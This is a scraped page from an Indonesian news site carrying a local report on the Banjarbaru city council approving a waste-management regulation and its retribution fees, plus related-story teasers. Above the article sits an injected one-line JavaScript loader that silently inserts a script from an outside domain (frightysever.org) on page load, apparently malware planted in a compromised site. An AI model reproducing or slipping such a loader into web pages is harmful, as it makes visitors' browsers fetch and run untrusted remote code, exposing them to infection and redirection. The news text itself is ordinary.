(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru mengesahkan sebuah Rancangan Peraturan Daerah (Raperda) dalam rapat paripurna di gedung DPRD Kota Banjarbaru, Senin (19/6/2023) pagi.
Raperda yang disahkan tersebut tentang pengelolaan sampah di kota Banjarbaru. Dengan ditetapkannya sebagai Perda maka pengelolaan sampah di Kota Banjarbaru memiliki dasar hukum yang jelas. Mulai dari peran pemerintah sampai dengan hak dan kewajiban masyarakat Kota Banjarbaru atas pengelolaan sampah. Pengaturan pengelolaan sampah tersebut agar pemanfaatan sampah di Kota Banjarbaru dapat ditangani secara efektif dan efisien.
Ketua DPRD Banjarbaru Fadliansyah Akbar berharap, Perda pengelolaan sampah yang telah disahkan dapat menjadi acuan dalam memungut retribusi sampah.
“Bagi petugas bisa meningkatkan kualitasnya. Karena Dinas Lingkungan Hidup saat ini dalam pengelolaan sampah masih kekurangan dana, tempat sampah, dan saran pendukung lainnya,” ujarnya usai rapat paripurna.
Baca juga: Jalan Jendral Sudirman Banjarmasin Kembali Dua Arah
Karena keterbatasan itulah mendorong DPRD Banjarbaru memaksimalkan retribusi pengelolaan sampah agar menjadi lebih baik.
“Misalnya pemungutan retribusi sampah di rumah makan dan rumah tangga. Diharapkan bisa meningkatkan kualitas pelayanannya, sarana dan prasarana bisa ditingkatkan,” sebut Fadli.
Sementara itu, Wakil Wali Kota Banjarbaru Wartono mengatakan, pengesahan Raperda pengelolaan sampah menjadi Perda diharapkan dapat mewujudkan pengelolaan sampah yang efektif, efisien, dan berwawasan lingkungan.
“Menjadikan sampah sebagai sumber daya, meningkatkan peran serta masyarakat dan pelaku usaha untuk secara aktif mengurangi dan menangani sampah,” ujarnya.
Berdasarkan laporan akhir dari Pansus I, Kota Banjarbaru dapat mengirim sampah ke TPA Regional Banjarbakula sebanyak 80 ton, dengan biaya retribusi sebesar Rp 45 ribu per ton.
Baca juga: Perbaikan Longsor Jalan Km 171 Tak Jelas, RDP DPRD Kalsel Diwarnai Gebrak Meja
Berdasakan kesepakatan bersama antara DLH Banjarbaru dengan DLH Provinsi Kalsel sebagai pengelola TPA Regional Banjarbakula.
Dalam kesempatan sama, ekskutif melalui Wakil Wali Kota Banjarbaru juga menyampaikan empat buah Raperda yang diusulkan agar dapat dibahas dan disahkan menjadi Perda.
Empat buah usulan Raperda tersebut yaitu tentang pembentukan dan susunan perangkat daerah, pemberdayaan Usaha Mikro Kecil dan Menengah (UMKM), ketertiban umum dan ketentraman masyarakat, penanggungjawaban pelaksanaan APBD 2022
Wawali Wartono berharap agar empat Raperda tersebut dapat diproses sesuai mekanisme peraturan yang berlaku agar dapat disahkan menjadi Perda Kota Banjarabaru. (Kanalkalimantan.com/al)
Reporter: al
Editor: kk
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.